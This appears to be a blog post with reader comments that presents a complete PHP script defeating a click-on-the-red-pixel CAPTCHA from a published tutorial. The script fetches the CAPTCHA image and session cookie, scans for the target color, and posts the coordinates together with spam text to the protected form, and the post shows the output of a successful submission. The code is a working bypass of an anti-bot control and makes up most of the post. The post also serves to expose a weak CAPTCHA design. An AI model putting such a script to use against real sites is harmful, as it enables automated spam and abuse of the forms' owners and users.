Breaking “Click-In That Captcha”

I ran across a tutorial about how to make a fairly clever CAPTCHA where solving it relies on clicking on a particular part of the image rather than filling in a field. While the concept itself is clever, the implementation given in the tutorial is not (requiring the user to click on a particular color). The problem with that is that computers are very good at knowing the colors of things too.

So just for fun (and to see if I could do it), I wrote a script that beats the CAPTCHA each and every time and in the process submits fake spam to the form it’s attempting to prevent (I know, I’m an evil dirty spammer ;)). If you’re interested, read their tutorial first and then check out the rest of this post for how to beat it.

So the solution is actually fairly simple. The script just needs to grab the CAPTCHA image and then go through each pixel one by one looking for one that matches the color that the form wants (in this case, red). Once it’s found, the pixel’s coordinates are just POST’ed back to the form.

Here’s the source, including inline comments to explain along the way. It’s not the prettiest code ever, but it gets the job done. 🙂

<pre><?php

// Set remote hostname and the two paths to the scripts here
$hostname = 'some-server.com';
$captchapath = '/themeforest_captcha/captcha.php';
$formpath = '/themeforest_captcha/index.php';

// Information about the pixel color we're looking for
$pixel = array(
	'red'   => 254, // Not sure why 255 won't work
	'green' => 0,
	'blue'  => 0,
);

// Connect to the host
$fp = fsockopen( $hostname, 80, $errno, $errstr, 10 );

// Check for failure
if ( !$fp )
	die( "ERROR: Failed to connect to $hostname! Error was: $errstr ($errno)." );

// Create headers to send to server
$out  = "GET $captchapath HTTP/1.1\r\n";
$out .= "Host: $hostname\r\n";
$out .= "Connection: Close\r\n\r\n";

// Send it to the server
fwrite( $fp, $out );

// Read the response to a variable
$response = '';
while ( !feof( $fp ) ) {
	$response .= fgets( $fp, 4096 );
}

// Close the socket
fclose( $fp );

list( $header, $content ) = explode( "\r\n\r\n", $response, 2 );

// Grab the PHPSESSID
if ( !preg_match( '/Set-Cookie: PHPSESSID=([a-z0-9]+);/i', $header, $phpsessid ) )
	die( "ERROR: Failed to get PHP session ID. You sure it's the correct URL?" );
$phpsessid = $phpsessid[1];

// Not sure why, but the string "2000" is stuck before the CAPTCHA image, so strip it
$content = str_replace( "2000\r\n", '', $content );

// Recreate the CAPTCHA image so we can manipulate it
if ( !$captcha_image = @imagecreatefromstring( $content ) )
	die( "ERROR: This doesn't seem to be an image file. You sure it's the correct URL?" );

// Get some information about the CAPTCHA
$width  = imagesx( $captcha_image );
$height = imagesy( $captcha_image );

// Start in the upper-left and go through each pixel looking for the color we want
$found = false;
for ( $y = 0; $y < $height; $y++ ) {
	for ( $x = 0; $x < $width; $x++ ) {
		$rgb = imagecolorat( $captcha_image, $x, $y );
		$color = imagecolorsforindex( $captcha_image, $rgb );

		// If the current pixel matches the pixel we're looking for, abort!
		if ( $color['red'] == $pixel['red'] &&  $color['green'] == $pixel['green'] &&  $color['blue'] == $pixel['blue'] ) {
			$found = true;
			break 2;
		}
	}
}
if ( !$found )
	die( 'ERROR: Failed to find a matching pixel. You sure you specified the correct pixel color to look for?' );

echo "A matching pixel was found at {$x}x{$y} in the CAPTCHA.\n\n";

// Connect to the host again
$fp = fsockopen( $hostname, 80, $errno, $errstr, 10 );

// Check for failure
if ( !$fp )
	die( "ERROR: Failed to connect to $hostname! Error was: $errstr ($errno)." );

// Create data to send to server
$post = 'name=Spammer&message=' . urlencode( 'Check out this cool spam!' ) . "&submit.x={$x}&submit.y={$y}";

$out  = "POST $formpath HTTP/1.1\r\n";
$out .= "Host: $hostname\r\n";
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
$out .= "Content-length: " . strlen( $post ) . "\r\n";
$out .= "Cookie: PHPSESSID=$phpsessid\r\n";
$out .= "Connection: Close\r\n";
$out .= "\r\n";
$out .= "$post\r\n";
$out .= "\r\n";

// Send it to the server
fwrite( $fp, $out );

// Read the response to a variable
$response = '';
while ( !feof( $fp ) ) {
	$response .= fgets( $fp, 4096 );
}

// Close the socket
fclose( $fp );

// Grab the result
if ( !preg_match( '/<div style=\'color:#990000; margin-bottom: 20px;\'>(.*?)<\/div>/i', $response, $result ) )
	die( "ERROR: Failed parse the result. Is it the correct form?" );

echo "The CAPTCHA form responded with the following:\n\n\n" . htmlspecialchars( $result[1] );

?>

That’ll result in something along the lines of this:

A matching pixel was found at 116×48 in the CAPTCHA.

The CAPTCHA form responded with the following:

Thank you for submitting your comment.

See? The form doesn’t know that we’re a computer and not a human being. CAPTCHA beaten. 🙂

5 thoughts on “Breaking “Click-In That Captcha”

  1. This just shows why Captha’s are pointless. They either keep real people out, or don’t actually block bots. This one has the distinction of doing both. Well done on your script.

  2. This hack would only work in the event you know what color it’s expecting. And if it’s a pattern, picture, word, equation result, etc… you’re SOL.

  3. Turing test… but good article. Saved me the time of using this type of captcha… OpenCaptcha worked with 100% reliability from Jan 2014-Jul 2015, but has now been cracked…

Leave a Reply